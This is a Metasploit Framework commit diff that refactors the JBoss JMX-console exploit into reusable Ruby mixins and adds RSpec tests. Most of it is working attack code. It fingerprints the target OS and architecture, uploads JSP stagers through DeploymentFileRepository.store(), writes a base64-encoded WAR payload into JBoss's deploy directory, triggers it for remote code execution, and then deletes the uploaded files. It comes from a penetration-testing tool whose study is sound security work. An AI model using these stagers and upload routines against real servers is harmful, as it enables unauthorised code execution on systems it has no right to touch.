Land #3729, @us3r777's Jboss deploymentfilerepository refactoring

bug/bundler_fix
jvazquez-r7 2014-12-06 21:51:27 -06:00
commit 37fbe963b5
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
12 changed files with 502 additions and 358 deletions

View File

@ -5,13 +5,17 @@ module Msf
module HTTP module HTTP
module JBoss module JBoss
require 'msf/http/jboss/base' require 'msf/http/jboss/base'
require 'msf/http/jboss/bean_shell_scripts'
require 'msf/http/jboss/bean_shell' require 'msf/http/jboss/bean_shell'
require 'msf/http/jboss/bean_shell_scripts'
require 'msf/http/jboss/deployment_file_repository'
require 'msf/http/jboss/deployment_file_repository_scripts'
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::JBoss::Base include Msf::HTTP::JBoss::Base
include Msf::HTTP::JBoss::BeanShellScripts
include Msf::HTTP::JBoss::BeanShell include Msf::HTTP::JBoss::BeanShell
include Msf::HTTP::JBoss::BeanShellScripts
include Msf::HTTP::JBoss::DeploymentFileRepository
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
def initialize(info = {}) def initialize(info = {})
super super

View File

@ -5,7 +5,7 @@ module Msf::HTTP::JBoss::Base
# Deploys a WAR through HTTP uri invoke # Deploys a WAR through HTTP uri invoke
# #
# @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options # @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options
# @param num_attempts [Integer] The number of attempts # @param num_attempts [Integer] The number of attempts
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise
def deploy(opts = {}, num_attempts = 5) def deploy(opts = {}, num_attempts = 5)
uri = opts['uri'] uri = opts['uri']
@ -46,4 +46,96 @@ module Msf::HTTP::JBoss::Base
datastore['VERB'] datastore['VERB']
end end
# Try to auto detect the target architecture and platform
#
# @param [Array] The available targets
# @return [Msf::Module::Target, nil] The detected target or nil
def auto_target(available_targets)
if http_verb == 'HEAD'
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
else
print_status("Attempting to automatically select a target...")
res = query_serverinfo
plat = detect_platform(res)
unless plat
print_warning('Unable to detect platform!')
return nil
end
arch = detect_architecture(res)
unless arch
print_warning('Unable to detect architecture!')
return nil
end
# see if we have a match
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
end
# no matching target found, use Java as fallback
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
java_targets[0]
end
# Query the server information from HtmlAdaptor
#
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
def query_serverinfo
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
res = send_request_cgi(
{
'uri' => path,
'method' => http_verb,
'vars_get' =>
{
'action' => 'inspectMBean',
'name' => 'jboss.system:type=ServerInfo'
}
})
unless res && res.code == 200
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
#
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
# @return [String, nil] The target platform or nil
def detect_platform(res)
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
#
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
# @return [String, nil] The target architecture or nil
def detect_architecture(res)
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
arch = $1
if arch =~ /(x86|i386|i686)/i
return ARCH_X86
elsif arch =~ /(x86_64|amd64)/i
return ARCH_X86
end
end
nil
end
end end

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*- # -*- coding: binary -*-
module Msf::HTTP::JBoss::BeanShellScripts module Msf::HTTP::JBoss::BeanShellScripts
# Generates a Bean Shell Script. # Generates a Bean Shell Script.
# #
# @param type [Symbol] The Bean Shell script type, `:create` or `:delete`. # @param type [Symbol] The Bean Shell script type, `:create` or `:delete`.

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::DeploymentFileRepository
# Upload a text file with DeploymentFileRepository.store()
#
# @param base_name [String] The destination base name
# @param jsp_name [String] The destanation file name
# @param content [String] The content of the file
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
def upload_file(base_name, jsp_name, content)
params = { }
params.compare_by_identity
params['action'] = 'invokeOpByName'
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
params['methodName'] = 'store'
params['argType'] = 'java.lang.String'
params['arg0'] = base_name + '.war'
params['argType'] = 'java.lang.String'
params['arg1'] = jsp_name
params['argType'] = 'java.lang.String'
params['arg2'] = '.jsp'
params['argType'] = 'java.lang.String'
params['arg3'] = content
params['argType'] = 'boolean'
params['arg4'] = 'True'
opts = {
'method' => http_verb,
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
}
if http_verb == 'POST'
opts.merge!('vars_post' => params)
else
opts.merge!('vars_get' => params)
end
send_request_cgi(opts)
end
# Delete a file with DeploymentFileRepository.remove().
#
# @param folder [String] The destination folder name
# @param name [String] The destination file name
# @param ext [String] The destination file extension
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
def delete_file(folder, name, ext)
params = { }
params.compare_by_identity
params['action'] = 'invokeOpByName'
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
params['methodName'] = 'remove'
params['argType'] = 'java.lang.String'
params['arg0'] = folder
params['argType'] = 'java.lang.String'
params['arg1'] = name
params['argType'] = 'java.lang.String'
params['arg2'] = ext
opts = {
'method' => http_verb,
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
}
if http_verb == 'POST'
opts.merge!('vars_post' => params)
timeout = 5
else
opts.merge!('vars_get' => params)
timeout = 30
end
send_request_cgi(opts, timeout)
end
end

View File

@ -0,0 +1,76 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
# Generate a stager JSP to write the second stager to the
# deploy/management directory. It is only used with HEAD/GET requests
# to overcome the size limit in those requests
#
# @param stager_base [String] The name of the base of the stager.
# @param stager_jsp [String] The name name of the jsp stager.
# @return [String] The JSP head stager.
def head_stager_jsp(stager_base, stager_jsp_name)
content_var = Rex::Text.rand_text_alpha(8+rand(8))
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
head_stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
try {
String #{content_var} = "";
String parameterName = (String)(request.getParameterNames().nextElement());
#{content_var} = request.getParameter(parameterName);
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
#{bw_var}.write(#{content_var});
#{bw_var}.close();
}
catch(Exception e) { }
%>
EOT
head_stager_jsp_code
end
# Generate a stager JSP to write a WAR file to the deploy/ directory.
# This is used to bypass the size limit for GET/HEAD requests.
#
# @param app_base [String] The name of the WAR app to write.
# @return [String] The JSP stager.
def stager_jsp_with_payload(app_base, encoded_payload)
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
content_var = Rex::Text.rand_text_alpha(8+rand(8))
stager_jsp = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
try {
String #{content_var} = "#{encoded_payload}";
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e){ }
%>
EOT
stager_jsp
end
end

View File

@ -126,8 +126,9 @@ class Metasploit3 < Msf::Auxiliary
case action.name case action.name
when 'Deploy' when 'Deploy'
unless File.exist?(datastore['WARFILE']) unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
print_error("WAR file not found") print_error("WAR file not found")
return
end end
war_data = File.read(datastore['WARFILE']) war_data = File.read(datastore['WARFILE'])
deploy_action(app_base, war_data) deploy_action(app_base, war_data)

View File

@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
mytarget = target mytarget = target
if target.name =~ /Automatic/ if target.name =~ /Automatic/
mytarget = auto_target mytarget = auto_target(targets)
unless mytarget unless mytarget
fail_with(Failure::NoTarget, "Unable to automatically select a target") fail_with(Failure::NoTarget, "Unable to automatically select a target")
end end
@ -195,73 +195,4 @@ class Metasploit3 < Msf::Exploit::Remote
handler handler
end end
def auto_target
if http_verb == 'HEAD' then
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
else
print_status("Attempting to automatically select a target...")
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Failure::NoTarget, 'Unable to detect platform!')
end
if not (arch = detect_architecture(res))
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
end
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
def query_serverinfo
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
res = send_request_raw(
{
'uri' => path,
'method' => http_verb
})
unless res && res.code == 200
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
def detect_architecture(res)
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (arch =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
end end

View File

@ -1,10 +1,7 @@
# -*- coding: binary -*-
## ##
# This module requires Metasploit: http://metasploit.com/download # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
@ -12,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
include Msf::Exploit::Remote::HttpClient include Msf::HTTP::JBoss
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -78,12 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
Opt::RPORT(8080), Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
], self.class) ], self.class)
end end
@ -91,23 +84,16 @@ class Metasploit3 < Msf::Exploit::Remote
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
stager_base = rand_text_alpha(8+rand(8)) stager_base = rand_text_alpha(8+rand(8))
head_stager_jsp = rand_text_alpha(8+rand(8)) stager_jsp_name = rand_text_alpha(8+rand(8))
stager_jsp = rand_text_alpha(8+rand(8))
content_var = rand_text_alpha(8+rand(8))
decoded_var = rand_text_alpha(8+rand(8))
file_path_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fos_var = rand_text_alpha(8+rand(8))
bw_var = rand_text_alpha(8+rand(8))
p = payload p = payload
mytarget = target mytarget = target
if (datastore['VERB'] == 'HEAD') if (http_verb == 'HEAD')
print_status("Unable to automatically select a target with HEAD requests") print_status("Unable to automatically select a target with HEAD requests")
else else
if (target.name =~ /Automatic/) if (target.name =~ /Automatic/)
mytarget = auto_target() mytarget = auto_target(targets)
if (not mytarget) if (not mytarget)
fail_with(Failure::NoTarget, "Unable to automatically select a target") fail_with(Failure::NoTarget, "Unable to automatically select a target")
end end
@ -134,289 +120,69 @@ class Metasploit3 < Msf::Exploit::Remote
}).to_s }).to_s
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
# The following jsp script will write the stager to the
# deploy/management directory. It is only used with HEAD/GET requests
# to overcome the size limit in those requests
head_stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
if (request.getParameter("#{content_var}") != null) {
try {
String #{content_var} = "";
#{content_var} = request.getParameter("#{content_var}");
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
#{bw_var}.write(#{content_var});
#{bw_var}.close();
}
catch(Exception e)
{
}
}
%>
EOT
# The following jsp script will write the exploded WAR file to the deploy/
# directory or try to delete it
stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
try {
String #{content_var} = "#{encoded_payload}";
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e)
{
}
%>
EOT
# Depending on the type on the verb we might use a second stager # Depending on the type on the verb we might use a second stager
if datastore['VERB'] == "POST" then if http_verb == "POST" then
print_status("Deploying stager for the WAR file") print_status("Deploying stager for the WAR file")
res = upload_file(stager_base, stager_jsp, stager_jsp_code) res = upload_file(stager_base, stager_jsp_name, stager_contents)
else else
print_status("Deploying minimal stager to upload the payload") print_status("Deploying minimal stager to upload the payload")
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code) head_stager_jsp_name = rand_text_alpha(8+rand(8))
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?" head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
# We split the stager_jsp_code in multipe junks and transfer on the # We split the stager_jsp_code in multipe junks and transfer on the
# target with multiple requests # target with multiple requests
current_pos = 0 current_pos = 0
while current_pos < stager_jsp_code.length while current_pos < stager_contents.length
next_pos = current_pos + 5000 + rand(100) next_pos = current_pos + 5000 + rand(100)
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos]) vars_get = { "arg0" => stager_contents[current_pos,next_pos] }
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})") print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
res = call_uri_mtimes(head_stager_uri + junk) res = deploy('uri' => head_stager_uri,
'vars_get' => vars_get)
current_pos += next_pos current_pos += next_pos
end end
end end
# Call the stager to deploy the payload war file
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
# but the file still gets written. # but the file still gets written.
if (res.code == 200 || res.code == 500) unless res && ( res.code == 200 || res.code == 500)
print_status("Calling stager to deploy the payload warfile (might take some time)") fail_with(Failure::Unknown, "Failed to deploy")
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp' end
stager_res = call_uri_mtimes(stager_uri)
print_status("Try to call the deployed payload") print_status("Calling stager to deploy the payload warfile (might take some time)")
# Try to execute the payload by calling the deployed WAR file stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp' stager_res = deploy('uri' => stager_uri,
payload_res = call_uri_mtimes(payload_uri) 'method' => 'GET')
# print_status("Try to call the deployed payload")
# DELETE # Try to execute the payload by calling the deployed WAR file
# payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
# The WAR can only be removed by physically deleting it, otherwise it payload_res = deploy('uri' => payload_uri)
# will get redeployed after a server restart.
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...") #
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD" # DELETE
delete_res = [] #
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp') # The WAR can only be removed by physically deleting it, otherwise it
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp') # will get redeployed after a server restart.
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '') print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '') print_status("This might take some time, be patient...") if http_verb == "HEAD"
delete_res.each do |res| delete_res = []
if !res if head_stager_jsp_name
print_warning("WARNING: Unable to remove WAR [No Response]") delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
elsif (res.code < 200 || res.code >= 300) end
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
end delete_res << delete_file('./', stager_base + '.war', '')
delete_res << delete_file('./', app_base + '.war', '')
delete_res.each do |res|
if !res
print_warning("WARNING: Unable to remove WAR [No Response]")
elsif (res.code < 200 || res.code >= 300)
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
end end
handler handler
end end
end end
# Upload a text file with DeploymentFileRepository.store()
def upload_file(base_name, jsp_name, content)
data = 'action=invokeOpByName'
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
data << '&methodName=store'
data << '&argType=java.lang.String'
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
data << '&argType=java.lang.String'
data << '&arg1=' + jsp_name
data << '&argType=java.lang.String'
data << '&arg2=.jsp'
data << '&argType=java.lang.String'
data << '&arg3=' + Rex::Text.uri_encode(content)
data << '&argType=boolean'
data << '&arg4=True'
if (datastore['VERB'] == "POST")
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'method' => datastore['VERB'],
'data' => data
}, 5)
else
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
'method' => datastore['VERB'],
}, 30)
end
res
end
# Delete a file with DeploymentFileRepository.remove().
def delete_file(folder, name, ext)
data = 'action=invokeOpByName'
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
data << '&methodName=remove'
data << '&argType=java.lang.String'
data << '&arg0=' + folder
data << '&argType=java.lang.String'
data << '&arg1=' + name
data << '&argType=java.lang.String'
data << '&arg2=' + ext
if (datastore['VERB'] == "POST")
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'method' => datastore['VERB'],
'data' => data
}, 5)
else
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
'method' => datastore['VERB'],
}, 30)
end
res
end
# Call the URL multiple times until we have hit
def call_uri_mtimes(uri, num_attempts = 5)
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
num_attempts.times do |attempt|
res = send_request_cgi({
'uri' => uri,
'method' => verb
}, 30)
stripped_uri = uri[0,70] + "..."
msg = nil
if (!res)
msg = "Execution failed on #{stripped_uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
msg = "http request failed to #{stripped_uri} [#{res.code}]"
elsif (res.code == 200)
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
return res
end
if (attempt < num_attempts - 1)
msg << ", retrying in 5 seconds..."
print_status(msg) if datastore['VERBOSE']
select(nil, nil, nil, 5)
else
print_error(msg)
return res
end
end
end
def auto_target
print_status("Attempting to automatically select a target...")
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Failure::NoTarget, 'Unable to detect platform!')
end
if not (arch = detect_architecture(res))
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
def query_serverinfo
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path,
'method' => datastore['VERB']
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
def detect_architecture(res)
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (arch =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
end end

View File

@ -58,4 +58,72 @@ describe Msf::HTTP::JBoss::Base do
end end
end end
describe "#query_serverinfo" do
before :each do
allow(subject).to receive(:send_request_cgi) do
if res_code.nil?
res = nil
else
res = Rex::Proto::Http::Response.new
res.code = res_code
end
res
end
end
context 'when server timeouts' do
let(:res_code) { nil }
it { expect(subject.query_serverinfo()).to be_nil }
end
context 'when server returns 200' do
let(:res_code) { 200 }
it { expect(subject.query_serverinfo()).to be_kind_of Rex::Proto::Http::Response }
end
end
describe "#detect_plateform" do
context "when server arch is Linux" do
res = Rex::Proto::Http::Response.new
res.body = "<td>OSName: Linux</td>"
it { expect(subject.detect_platform(res)).to eq "linux" }
end
context "when server arch is Windows" do
res = Rex::Proto::Http::Response.new
res.body = "<td>OSName: Windows</td>"
it { expect(subject.detect_platform(res)).to eq "win" }
end
context "return nil if no OS match" do
res = Rex::Proto::Http::Response.new
res.body = "<td>OSName: Blah</td>"
it { expect(subject.detect_platform(res)).to be_nil }
end
context "return nil res is nil" do
res = nil
it { expect(subject.detect_platform(res)).to be_nil }
end
end
describe "#detect_architecture" do
context "when server arch is x86" do
res = Rex::Proto::Http::Response.new
res.body = "<td>OSArch: i386</td>"
it { expect(subject.detect_architecture(res)).to eq ARCH_X86 }
end
context "return nil if no architecture match" do
res = Rex::Proto::Http::Response.new
res.body = "<td>OSArch: Blah</td>"
it { expect(subject.detect_architecture(res)).to be_nil }
end
context "return nil res is nil" do
res = nil
it { expect(subject.detect_architecture(res)).to be_nil }
end
end
end end

View File

@ -17,7 +17,7 @@ describe Msf::HTTP::JBoss::BeanShellScripts do
it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') } it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
end end
context "when :create type is used" do context "when :delete type is used" do
it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') } it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
end end

View File

@ -0,0 +1,39 @@
#-*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/http/jboss'
describe Msf::HTTP::JBoss::DeploymentFileRepositoryScripts do
subject do
mod = ::Msf::Exploit.new
mod.extend Msf::HTTP::JBoss
mod.send(:initialize)
mod
end
describe "#stager_jsp_with_payload" do
it "returns the JSP stager" do
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('System.getProperty("jboss.server.home.dir");')
end
it "uses the provided application name" do
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"/deploy/management/" + "metasploit.war";')
end
it "uses the provided payload" do
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"payload";')
end
end
describe "#head_stager_jsp" do
it "returns the head JSP stager" do
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('System.getProperty("jboss.server.home.dir");')
end
it "uses the provided base name" do
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('"/deploy/management/" + "stager_base.war/"')
end
end
end

View File

@ -0,0 +1,91 @@
#-*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/http/jboss'
describe Msf::HTTP::JBoss::DeploymentFileRepository do
subject do
mod = ::Msf::Exploit.new
mod.extend Msf::HTTP::JBoss
mod.send(:initialize)
mod
end
let (:base_name) do
'dir_blah'
end
let (:jsp_name) do
'file_blah'
end
let (:content) do
'<%@page import="java.io.*%>'
end
before :each do
allow(subject).to receive(:send_request_cgi) do
case res_code
when nil
res = nil
when 401
res = Rex::Proto::Http::Response.new(401, "Authentication required")
when 404
res = Rex::Proto::Http::Response::E404.new
when 200
res = Rex::Proto::Http::Response::OK.new
else
res = Rex::Proto::Http::Response.new
res.code = res_code
end
res
end
end
describe "#upload_file" do
context 'when server timeouts' do
let (:res_code) { nil }
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_nil }
end
context 'when server returns a 200 response' do
let (:res_code) { 200 }
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
end
context 'when server returns a 404 response' do
let (:res_code) { 404 }
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
end
context 'when server returns a 401 response' do
let (:res_code) { 401 }
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
end
end
describe "#delete_file" do
context 'when server timeouts' do
let (:res_code) { nil }
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_nil }
end
context 'when server returns a 200 response' do
let (:res_code) { 200 }
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
end
context 'when server returns a 404 response' do
let (:res_code) { 404 }
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
end
context 'when server returns a 401 response' do
let (:res_code) { 401 }
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
end
end
end